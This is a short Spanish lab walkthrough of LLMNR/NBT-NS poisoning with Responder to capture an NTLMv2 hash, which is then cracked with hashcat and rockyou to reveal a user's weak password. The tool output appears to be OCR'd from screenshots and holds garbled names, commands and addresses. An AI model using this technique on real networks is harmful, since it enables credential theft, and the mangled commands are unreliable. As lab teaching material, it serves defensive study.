Primero de todo nos pondremos a escuchar con el responder a través de la interfaz eth0 para capturar algún hash ntlm

```
To support this project:
Github → https://github.com/sponsors/lgandx
Paypal → https://gaypal.me/PythonResponder
Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C
```

Luego generamos una conexión hacia \\hola desde el cliente windows para simular una connexión por SMB

```
4] Generic Options:
Responder NC
Responder IP
Responder IP
Challenge set
Don't Respond To Names
Don't Respond To NoNS TLD
Till for poisoned response (default)

[4] Current Session Variables:
Responder Machine Name
Responder Durain Name
Responder Nachine Name
Responder Nachine Name
Responder Nachine Name
Responder Durain Name
Responder Durain Name
Responder Nachine Name
Responder Name
R
[+] Listening for events ...

[-] Surt-NS) Poisoned answer sent to 192,166,143,131 for name MOLA (service: file Server)

[-] Surt-NS) Poisoned answer sent to 192,166,143,131 for name MOLA (service: file Server)

[-] Surt-NS) Poisoned answer sent to 192,166,143,131 for name MOLA (service: file Server)

[-] Surt-NS) Poisoned answer sent to 192,166,143,131 for name MoLA (service: file Server)

[-] Surt-NS) Poisoned answer sent to 192,166,143,131 for name MoLA (service: file Server)

[-] Surt-NS) Poisoned answer sent to 192,166,143,131 for name MoLA (service: file Server)

[-] Surt-NS) Poisoned answer sent to 192,166,143,131 for name MoLA (service: file Server)

[-] Surt-NS) Poisoned answer sent to 192,166,143,131 for name MoLA (service: file Server)

[-] Surt-NS) Poisoned answer sent to 192,166,143,131 for name MoLA (service: file Server)

[-] Surt-NS) Poisoned answer sent to 192,166,143,131 for name MoLA (service: file Server)

[-] Surt-NS) Poisoned answer sent to 192,166,143,131 for name MoLA (service: file Server)

[-] Surt-NS) Poisoned answer sent to 192,166,143,131 for name MoLA (service: file Server)

[-] Surt-NS) Poisoned answer sent to 192,166,143,131 for name MoLA (service: file Server)

[-] Surt-NS) Poisoned answer sent to 192,166,143,131 for name MoLA (service: file Server)

[-] Surt-NS) Poisoned answer sent to 192,166,143,131 for name MoLA (service: file Server)

[-] Surt-NS) Poisoned answer sent to 192,166,143,131 for name MoLA (service: file Server)

[-] Surt-NS) Poisoned answer sent to 192,166,143,131 for name MoLA (service: file Server)

[-] Surt-NS) Poisoned answer sent to 192,166,143,131 for name MoLA (service: file Server)

[-] Surt-NS) Poisoned answer sent to 192,166,143,131 for name MoLA (service: file Server)

[-] Surt-NS) Poisoned answer sent to 192,166,143,131 for name MoLA (service: file Service: 
                                                             NRMS] Poisoned answer sent to fe80::48c8:555e:f63f:b749 for name hola.local 
LLMNR] Poisoned answer sent to fe80::48c8:555e:f63f:b749 for name hola.
```

Como vemos en la imagen el responder captura el hash ntlmv2, hash que podemos crackear como veremos a continuación usando hashcat:

```
(Hall@Hall)-[~/Dosktop/adds|
__$ hashcat == 5600 == 0 hash.txt /usr/share/wordlists/rockyou.txt
hashcat (v0.2.6) starting
* Device #1: cpu-sandybridge-AMD Ryzen 7 5708X 8-Core Processor, 1435/2934 MB (512 MB allocatable), 4MCU
Minimum password length supported by kernel: @
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0∗0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
• Zero-Byte
• Not-Iterated
• Single-Hash
• Single-Salt
Watchdog: Temperature abort trigger set to 90c
Initializing backend runtime for device #1. Please be patient...
```

```
kali@kali: -/Desktop/adds
File Actions Edit View Help
Natchdog: Temperature abort trigger set to 90c
Host memory required for this attack: @ MB
Dictionary cache hit:

* Filename..: /usr/share/wordlists/rockyou.txt

* Passwords.: 14344385

* Bytes...: 139921507

* Keyspace..: 14344385
```



El password del userdc1 es Password1.